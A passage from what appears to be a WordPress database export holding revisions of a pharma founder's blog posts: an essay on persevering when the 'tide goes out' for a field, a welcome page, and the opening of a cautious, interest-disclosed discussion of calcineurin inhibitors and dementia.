you’re looking to put together something that can survive and tackle the problems in a unique way even in a falling tide.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Organization building and careful step-by-step maneuvering is way more boring than raising money or paying people who care about the same issues you are. In a rising tide, it seems like it’s moving too slow. In a falling tide, it seems like too small of strokes for this giant ocean that suddenly looms in front of you. Either way, it’s easier to paddle and wave to the people on shore.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t blame anyone for jumping into the water naked. That’s what I did with my pharma startup. But, if I may toot my own horn, I have been working very hard for the past couple years to train my open-water swimming and knit my swimsuit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;I have:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Written (and rewritten, and rewritten, and rewritten) patents.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Very slowly found people to work with who I can trust through intensive networking with literally everyone</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-to-do-when-the-tide-is-going#footnote-2-94666876\">2</a>&nbsp;and searching on the 12th page of Google.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Struggled through 15 step FDA flowcharts to figure out how to make an electronic submission.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Personally shipped drugs across international lines and gone through the customs steps necessary to do so.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5. Made substantial contributions in hour long meetings in which 6 people argue about a paragraph of a 60 page protocol.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6. Talked to a bunch of very uniformed VCs to try to raise money and still gotten ghosted. Then, after getting ghosted, put on a 7 day free trial of one of their Substacks which then asked me for $25/month to keep subscribing (ok that was just one VC but it was still absurd)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I have done these things in a rising tide and a falling tide</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-to-do-when-the-tide-is-going#footnote-3-94666876\">3</a>, and will continue to do these things. Right now, the tide is falling, but I am less naked than I was a year ago because I have done all of this. As I’m writing this on January 3, the second half of our pilot trial starts tomorrow. I’m expecting to see proposals from manufacturers by the end of this week, and I should be getting a response from the FDA about our registration soon.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A year ago, I wasn’t close to any of those things. I had just gotten my ACX grant, which I had planned to use to knit a pattern that, in retrospect, would not have survived the swim</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-to-do-when-the-tide-is-going#footnote-4-94666876\">4</a>. I hadn’t yet pivoted to cats, raised any money, or been close to any sort of actual trial. I could have very easily spent the past year paddling and waving to bystanders, but I didn’t. I knew I wanted to actually swim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Real work on hard problems is rarely fun. It’s mostly grinding, and occasionally, when there’s a breakthrough, exhilarating. It can be fun talking about it, or writing about it, but it’s important not to mistake the fun parts for the real parts. And, if you are having fun, take some of that energy to actually work on the hard parts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It is always tempting to just jump in another pool. But, that’s not the way things get fixed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-to-do-when-the-tide-is-going#footnote-anchor-1-94666876\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For those of you with large twitter followings, for whom 50 likes would be unimpressive, please feel free to multiply these numbers by 10 or 100 as necessary.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-to-do-when-the-tide-is-going#footnote-anchor-2-94666876\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And believe me, these weren’t fun conversations bitching about problems in the pharma world, of which there are many. My fun conversations are usually not particularly productive. These are boring, trust-building conversations with serious people where I convince them that I am a serious person working on a serious problem and need help. Then they connect me with people who can help me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-to-do-when-the-tide-is-going#footnote-anchor-3-94666876\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although, to be honest, the tide hasn’t been rising in drug repurposing for like 20 years.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-to-do-when-the-tide-is-going#footnote-anchor-4-94666876\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pharmacokinetic physiologically-based modeling, which I thought I could use as a virtual phase 1. As it turns out, the technology was too immature and couldn’t be extended to my use the way I thought it could.</p>\n<!-- /wp:paragraph -->','What to do when the tide is going out','','inherit','closed','closed','','340-autosave-v1','','','2023-11-13 15:52:33','2023-11-13 15:52:33','',340,'https://trevorklee.com/?p=350',0,'revision','',0),
(351,1,'2023-11-13 15:53:11','2023-11-13 15:53:11','<!-- wp:paragraph -->\n<p>There’s a famous quote by Warren Buffett that’s something along the lines of, “It’s only when the tide goes out that you find out who’s been swimming naked.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve been thinking about this quote recently. Now, when the Prophet of Omaha said this, he was referring to businesses whose bad financials are revealed once there’s an economic downturn, which, coincidentally, happens to actually be very relevant right now. But, that’s not the way I’ve been thinking about it.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I think there’s a real psychological truth embedded in this as well. Psychologically, when intellectual tides are raising all swimmers in a certain field, it’s easy to happily paddle away with no swimtrunks on. Raising money is easy. Getting interest and validation from your friends is easy. Every tweet about your progress gets 50 likes and 5 comments, easy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now maybe, despite all the validation, you still feel like you’re naked. You have a sense of imposter syndrome, or you have internal doubts about whether being able to paddle in a rising tide can eventually turn into you being a champion open-water swimmer, despite your tweets to the contrary. But everyone else is cheering you on, and you know of at least a couple people who are even more naked than you are, and so being naked seems like not such a big deal, at least not right now. You keep just paddling and waving, enjoying the rising tide.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbc1d335-890c-45e7-8a1c-e753aa1b3971_1920x1384.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbc1d335-890c-45e7-8a1c-e753aa1b3971_1920x1384.jpeg\" alt=\"Meet The Swimming Pigs of The Bahamas\" title=\"Meet The Swimming Pigs of The Bahamas\"/></a><figcaption class=\"wp-element-caption\">If you’re unlucky, tourists will come up to you and try to pet you.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But then the tide goes out. There are fewer people cheering. Whatever limited boats were offering assistance to swimmers (possibly lending out swimsuits) seem much fewer and farther between. The water is getting colder, and cold water plus nakedness is a bad mix, especially if people can see you. Just paddling is harder, and you realize that if you actually try to become an open-water swimmer, there’s no way you can avoid showing your bare ass to the world.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So what do you do? Ideally, when the tide was rising, you would have knit yourself a swimsuit, so it’d be a little less cold now. It also would have been smart to have already had a plan to go from a rising-tide paddler to an open-water swimmer while the tide was going up, instead of wasting your time doing underwater frontflips.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s too late for any of that now, though. Now the reality of the situation is that you are naked, the tide is going out, and you’re actually a little tired from your paddling and underwater front flips. Maybe you should grit your teeth and force yourself to swim regardless. That’s what someone who really believed in the importance of this pool would do. But, it’s probably pretty tempting to wait for a moment where you don’t think anyone is looking, scurry along the beach like a pale, flabby crab, and find another rising tide to paddle around in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One interesting thing about Twitter, now that I’ve started to use it more, is that I’ve been able to watch this happen in real time, more or less. I’ve noticed quite a few people who were happy paddlers when the tide was rising in one pool suddenly pop up in a different pool, their projects (some of which they received significant amounts of money for) suddenly languishing, their team’s LinkedIns quietly updated to a new job: “VP at NewCo: April 2022-July 2022”, “PM at Microsoft: August 2022 - Present”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When I see people pop up in a different pool, I don’t think they never cared about the old pool. A lot of the people I’m describing seemed to genuinely care about the issues in the old pool. Their Twitter threads and long posts were thoughtful and interesting, chock full of interesting facts and statistics. They weren’t in the old pool because they wanted to make a quick buck; they were in the old pool because they cared about the old pool.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, I also think it was fun to care a lot about the old pool when the tide was rising. I think for a certain variety of person, writing big posts on Substack about an issue and then making a Tweet thread about it that gets lots of likes is super fun. I mean, hell, that describes me!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s also really fun to raise a lot of money, and then find people who you like, and then give them money to work on the thing you care about. You get to have conversations with them about what they’re doing, and probably you both can complain about the problem together. You can all agree that the legacy approaches to these issues suffer from some serious problems, and that it’s really a shame that the pool has been taken over by bureaucrats. As the new paddlers, you will make sure that there’s a new backstroke in town.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But what I know isn’t fun is the hard, grinding work of actually putting together an organization. This is especially true if you’re looking to put together something that can survive and tackle the problems in a unique way even in a falling tide.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Organization building and careful step-by-step maneuvering is way more boring than raising money or paying people who care about the same issues you are. In a rising tide, it seems like it’s moving too slow. In a falling tide, it seems like too small of strokes for this giant ocean that suddenly looms in front of you. Either way, it’s easier to paddle and wave to the people on shore.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t blame anyone for jumping into the water naked. That’s what I did with my pharma startup. But, if I may toot my own horn, I have been working very hard for the past couple years to train my open-water swimming and knit my swimsuit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;I have:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Written (and rewritten, and rewritten, and rewritten) patents.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Very slowly found people to work with who I can trust through intensive networking with literally everyone</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-to-do-when-the-tide-is-going#footnote-2-94666876\">2</a>&nbsp;and searching on the 12th page of Google.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Struggled through 15 step FDA flowcharts to figure out how to make an electronic submission.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Personally shipped drugs across international lines and gone through the customs steps necessary to do so.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5. Made substantial contributions in hour long meetings in which 6 people argue about a paragraph of a 60 page protocol.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6. Talked to a bunch of very uniformed VCs to try to raise money and still gotten ghosted. Then, after getting ghosted, put on a 7 day free trial of one of their Substacks which then asked me for $25/month to keep subscribing (ok that was just one VC but it was still absurd)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I have done these things in a rising tide and a falling tide</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-to-do-when-the-tide-is-going#footnote-3-94666876\">3</a>, and will continue to do these things. Right now, the tide is falling, but I am less naked than I was a year ago because I have done all of this. As I’m writing this on January 3, the second half of our pilot trial starts tomorrow. I’m expecting to see proposals from manufacturers by the end of this week, and I should be getting a response from the FDA about our registration soon.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A year ago, I wasn’t close to any of those things. I had just gotten my ACX grant, which I had planned to use to knit a pattern that, in retrospect, would not have survived the swim</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-to-do-when-the-tide-is-going#footnote-4-94666876\">4</a>. I hadn’t yet pivoted to cats, raised any money, or been close to any sort of actual trial. I could have very easily spent the past year paddling and waving to bystanders, but I didn’t. I knew I wanted to actually swim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Real work on hard problems is rarely fun. It’s mostly grinding, and occasionally, when there’s a breakthrough, exhilarating. It can be fun talking about it, or writing about it, but it’s important not to mistake the fun parts for the real parts. And, if you are having fun, take some of that energy to actually work on the hard parts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It is always tempting to just jump in another pool. But, that’s not the way things get fixed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-to-do-when-the-tide-is-going#footnote-anchor-1-94666876\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For those of you with large twitter followings, for whom 50 likes would be unimpressive, please feel free to multiply these numbers by 10 or 100 as necessary.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-to-do-when-the-tide-is-going#footnote-anchor-2-94666876\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And believe me, these weren’t fun conversations bitching about problems in the pharma world, of which there are many. My fun conversations are usually not particularly productive. These are boring, trust-building conversations with serious people where I convince them that I am a serious person working on a serious problem and need help. Then they connect me with people who can help me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-to-do-when-the-tide-is-going#footnote-anchor-3-94666876\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although, to be honest, the tide hasn’t been rising in drug repurposing for like 20 years.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-to-do-when-the-tide-is-going#footnote-anchor-4-94666876\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pharmacokinetic physiologically-based modeling, which I thought I could use as a virtual phase 1. As it turns out, the technology was too immature and couldn’t be extended to my use the way I thought it could.</p>\n<!-- /wp:paragraph -->','What to do when the tide is going out','','inherit','closed','closed','','340-revision-v1','','','2023-11-13 15:53:11','2023-11-13 15:53:11','',340,'https://trevorklee.com/?p=351',0,'revision','',0),
(353,1,'2023-11-16 19:24:20','2023-11-16 19:24:20','<!-- wp:paragraph -->\n<p>If you\'re interested in learning more about me, I\'d recommend starting with <a href=\"https://trevorklee.com/sample-page/\" data-type=\"page\" data-id=\"2\"><span style=\"color:#0a4fc7\" class=\"has-inline-color\">my current projects</span></a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, you can also look at <a href=\"https://trevorklee.com/failed-hypotheses/\" data-type=\"page\" data-id=\"12\"><span style=\"color:#0b28c8\" class=\"has-inline-color\">my failed projects</span></a>, because what are successes without failures?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, I\'ve written a lot. A lot a lot. If you\'re interested in philosophy, learning, biology, or general science, you should read <a href=\"https://trevorklee.com/essays/\" data-type=\"page\" data-id=\"22\"><span style=\"background-color:rgba(0, 0, 0, 0);color:#0c2ad7\" class=\"has-inline-color\">my essays</span></a>. For the most up-to-date list of my essays, including my most recent ones, check out <a href=\"https://trevorklee.substack.com/\" data-type=\"page\" data-id=\"22\"><span style=\"background-color:rgba(0, 0, 0, 0);color:#0c2ad7\" class=\"has-inline-color\">my Substack</span></a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you\'d like to contact me, just email [my first name] @ highwaypharm.com .</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you\'re interested in what I look like, I\'ve put a photo of me below. Get ready for it!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"align\":\"center\",\"id\":38,\"width\":262,\"height\":660,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/03/Trevor-Klee-a-full-time-tutor-407x1024.jpg\" alt=\"\" class=\"wp-image-38\" style=\"width:262px;height:660px\" width=\"262\" height=\"660\"/><figcaption class=\"wp-element-caption\">Wow, what a photo!</figcaption></figure>\n<!-- /wp:image -->\n\n<div class=\"ml-form-embed\" data-account=\"1447886:p2j3d8j1q4\" data-form=\"4814894:l5k3q3\">\n</div>','Welcome to my page!','','inherit','closed','closed','','27-revision-v1','','','2023-11-16 19:24:20','2023-11-16 19:24:20','',27,'https://trevorklee.com/?p=353',0,'revision','',0),
(355,1,'2024-04-02 14:05:37','2024-04-02 14:05:37','<!-- wp:paragraph -->\n<p>When I was in college, I applied for an internship at the Huffington Post, that venerable bastion of journalism. Before my interview, I was given a spreadsheet of articles and associated view counts. I was asked to formulate and present a hypothesis about which types of articles generate the most views.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When I presented my hypothesis, I intended to present it like a science paper: introduction, methods, results. But, 5 minutes into my presentation, my interviewer, Koda, stopped me.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Always start with the most exciting result first,” he said. So, I restarted my presentation, skipped to the end of the slides, and worked backwards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I didn’t end up getting the internship. But, in honor of his advice, here’s the most exciting figure I’ve ever seen in a dementia paper. I’ll start from this figure, and work my way backwards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/3NO5JO9hiovbtHpLce1mWARauEvomCY4ahRxjQjoaq0CR8k3E-2wbMhM3n8ovqiVmEffD5PZK1zTZkzFnGcMicBZseG-VOEYA0MiJwfLMwVUEgpa_6pQWorRS3w_EF1qd2jF0D-V\" alt=\"\"/><figcaption class=\"wp-element-caption\">from: &nbsp;<a href=\"https://content.iospress.com/articles/journal-of-alzheimers-disease/jad150065\">Reduced incidence of&nbsp;<strong>dementia&nbsp;</strong>in solid&nbsp;<strong>organ transplant&nbsp;</strong>patients treated with calcineurin inhibitors</a></figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>This is a graph of dementia rates in immunosuppressed organ transplant patients at a University of Texas hospital. Specifically, these are organ transplant patients who have received calcineurin inhibitors, which is a specific type of immunosuppressant with some weird properties.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The gray is the percentage of patients in the general population in that age group who get dementia. The black is the percentage of organ transplant patients in that age group that have received calcineurin inhibitors who get dementia.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you can see, dementia is almost absent in the calcineurin inhibitor group. It is literally absent in the &gt;85 group. Shocking, no?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And before you think this is just some trick with percentages, here are the raw numbers below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"width\":\"690px\",\"height\":\"304px\"} -->\n<figure class=\"wp-block-image is-resized\"><img src=\"https://lh3.googleusercontent.com/7VhhwZgh4zneMa2av2yjf6KZwKnqOlh6LRO_PH6Lhsx4cnmkuxGJ9dAufREQehUjWsYJN00rDj8PFN85PAhj3XKbp_J8UO0jZhNx6RmoWiuJB0D2BV9hWVbqL4Ac2ziBq97UpDGu\" alt=\"\" style=\"width:690px;height:304px\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>We’re not talking about small numbers of people here. These are large groups of people, and dementia is almost completely absent. Like…holy shit, no? If you take this graph at face value, it kind of looks like calcineurin inhibitors are a preventative or a cure for dementia. Given that Biogen’s bullshit drug for Alzheimer’s was estimated to bring in so much revenue as to bankrupt Medicare, this is a $50 billion discovery at <em>least</em>. Maybe a Nobel Prize, too.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, before we pop the champagne, let’s take a step back and see if we can actually soberly address this. I’ll start with a small confession, then I’ll discuss why you might not believe this paper, why you might believe it, and then what we should do about it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;So, first of all, the confession: I’m not a neutral observer here. In talking about this paper, I’m talking my own book. My company, <a href=\"http://highwaypharm.com\">Highway Pharmaceuticals</a>, is currently raising funds to get a safer, easier to use, extended-release version of cyclosporine, the most common calcineurin inhibitor, into first-in-human trials. If this paper is correct, investors should probably consider throwing money at me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now with that out of the way, there are some major reasons why you might not believe this paper.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The most obvious reason that most people think about is survivorship bias. Organ transplant patients are, by their nature, sick patients. Maybe immunosuppressed people who would get dementia are also the sort who would die sooner, possibly because they forget to take their meds and then their body rejects the graft.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is possible, but seems unlikely to me, as you wouldn’t expect there to be a strong enough correlation to account for the huge disparity in dementia results. <a href=\"https://jasn.asnjournals.org/content/28/5/1575.short\">This paper</a> (which I discuss much more below) suggests organ transplant patients with dementia are about twice as likely to experience graft loss, although it’s unclear which way the causative relationship swings. Side note: I also found <a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0041134511002430\">a hilarious, weird study</a> that stated “a greater fear of repulsive animals” is associated with graft rejection. That has nothing to do with anything, but I thought it was funny.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You might also wonder if it has to do with the diet and exercise routine that transplant patients are encouraged to adhere to after transplants. After all, <a href=\"https://www.ingentaconnect.com/content/ben/car/2018/00000015/00000005/art00002\">diet and exercise are protective against dementia</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, in the words of the original study author, compliance with diet and exercise regimes is “limited”, and wouldn’t explain these results. Besides, people who get organ transplants are unhealthy people to start with and have very high rates of diabetes and obesity (major risk factors for dementia), so diet and exercise regimes are unlikely to totally reverse this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The last reason you might think this isn’t real is to me the most persuasive: it hasn’t been replicated. The paper from above that examined dementia and graft loss risk was looking at <a href=\"https://jasn.asnjournals.org/content/28/5/1575.short\">national Medicare data for kidney transplant recipients</a> in general, and it also found that the 10 year risk of dementia in these patients was much more similar to the general population: 12% for ages 65-70, and around 20% for 75+. It also, surprisingly, found that people who weren’t on calcineurin inhibitors had a <em>smaller</em> risk of dementia, the exact opposite of the original paper.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is the hardest to explain, as these numbers clearly contradict the University of Texas numbers. It can’t be a difference of organ transplants vs. kidney transplants, either, as the University of Texas organ transplant population is majority kidney transplants.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are only a few possibilities to explain this, in my mind:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Randomly, very few patients who would eventually get dementia ended up in this Texas hospital receiving organ transplants. This would be strange, as Texas in general does not have different dementia rates than the rest of the country.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Someone messed up their data. This would be a pretty huge mess up on someone’s part, but it could be something as simple as how dementia is reported.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For the University of Texas study, they got their dementia reports from physicians’ notes, presumably in their electronic medical records. For the Medicare data, they got their dementia reports from the Medicare claims. <a href=\"https://sci-hubtw.hkvisa.net/10.3233/JAD-2009-1099\">This study</a> gives a sensitivity and specificity of Medicare claims for dementia at around 85% vs. doctors’ diagnoses, which seems pretty good, but that’s looking at only 700 records from 1993-2005 vs. 40,000 records from 1999-2011 in the Medicare dementia study.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I can\'t know <em>a priori</em> which study is more likely to mess up their data. However, what we can say is that the dog isn’t barking: calcineurin inhibitors are used a lot for organ transplants, and nobody else is reporting an effect on dementia. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Someone else should have noticed, especially because the UTexas paper was published in 2015. It’s easy for me to believe that hospitals in general do not see an absence of dementia in organ transplant patients, but I don\'t have an opinion on whether the UTexas patient population is actually absent of dementia.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3.&nbsp; There’s something different about how the University of Texas hospital administers calcineurin inhibitors vs. the average hospital.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is entirely possible. Calcineurin inhibitors are dangerous and difficult to administer correctly, so it’s possible one hospital has developed a unique protocol. This unique University of Texas protocol might be the difference between these two studies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Overall, though, I’d say this is a definite reason to be cautious about the University of Texas study. Obviously, I’d like the data to be true, but I understand if people have their doubts. For my own part, I’ve contacted authors of both papers, but haven’t received substantive responses from either. I’ll update this post when/if I do.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, instead of ending on that, I want to discuss, instead, a scientific reason why I think calcineurin inhibitors might actually work in dementia, and why my personal balance tips more in favor of the University of Texas study being real: the mitochondrial dysfunction hypothesis for Alzheimer’s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The mitochondrial dysfunction hypothesis for Alzheimer’s is straightforward enough. Mitochondria, as we all know, are the powerhouses of the cell. They are little, self-contained organelles that generate ATP, the fuel for the cell.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mitochondria are really complex. They act somewhat like their own little organisms themselves, and, in fact, <a href=\"https://en.wikipedia.org/wiki/Endosymbiotic_theory\">that’s probably what they originally were</a>. They have an intricate structure; their own, separate genome from the rest of the cell; and engage in constant signalling with the rest of the cell, most notably by calcium (Ca 2+) signalling.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They are also very involved in cell death, or apoptosis. This makes sense: if you’re a cell, and your powerhouse goes out, you’re probably not long for this world. This apoptosis can be planned (i.e. if the cell is infected or cancerous) or unplanned (i.e. if something damages the cell or mitochondria).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the ways in which mitochondria can apoptose is by the opening of the mitochondrial permeability transition pore (MPTP). This MPTP is exactly what it sounds like: it’s a pore, or opening, on the inner membrane of the mitochondria. The inner membrane is the part of the mitochondria that contains, basically, the parts of the mitochondria that generate ATP.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/M6uMIVv1CBDEmAsbyhLvfOP4wKfnSKsjHdQbYHtQ-w2_FZACoTUEF9nbHJ99uhnDh7MglUOFvLhWjRHqRD3FYFxSWtarn9hFKsu-CnxSGKDeJ3ZPX3smB0KaQpxxMFsiP38lo9ez\" alt=\"\"/><figcaption class=\"wp-element-caption\">In this drawing of mitochondria on the half-shell, the inner membrane is a film around the squiggly bits.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Generating ATP is a complex, chemical process that requires precise control of which ions end up where. Opening up a pore into the inner membrane of the mitochondria is somewhat similar to flinging open the door to a hermetically sealed laboratory or having a bunch of people walk on stage during a dance recital. It messes things up pretty completely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, you may ask why such a door exists, considering that opening it for long enough kills the mitochondria, and opening it for a little bit doesn’t seem to do much good. The answer is… we don’t know. It might have a purpose in the body now, or it might be a holdover from when mitochondria were separate organisms. One of the things we do know, however, is how to open it. Cell stress, Ca 2+ signalling, and physical trauma to the cell all do the trick.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We also know how to keep the door closed, and that’s where we come back to calcineurin inhibitors. One of the main calcineurin inhibitors is cyclosporine. One of the main proteins that opens the MPTP is cyclophilin D, named so because it loves (<em>philo</em>) cyclosporine. Cyclosporine freezes the protein in place, preventing the MPTP from opening.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, that’s how cyclosporine could work in saving the mitochondria in Alzheimer’s disease: by preventing the MPTP from opening during times of cell stress or trauma. What’s our evidence that it actually does work that way?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph 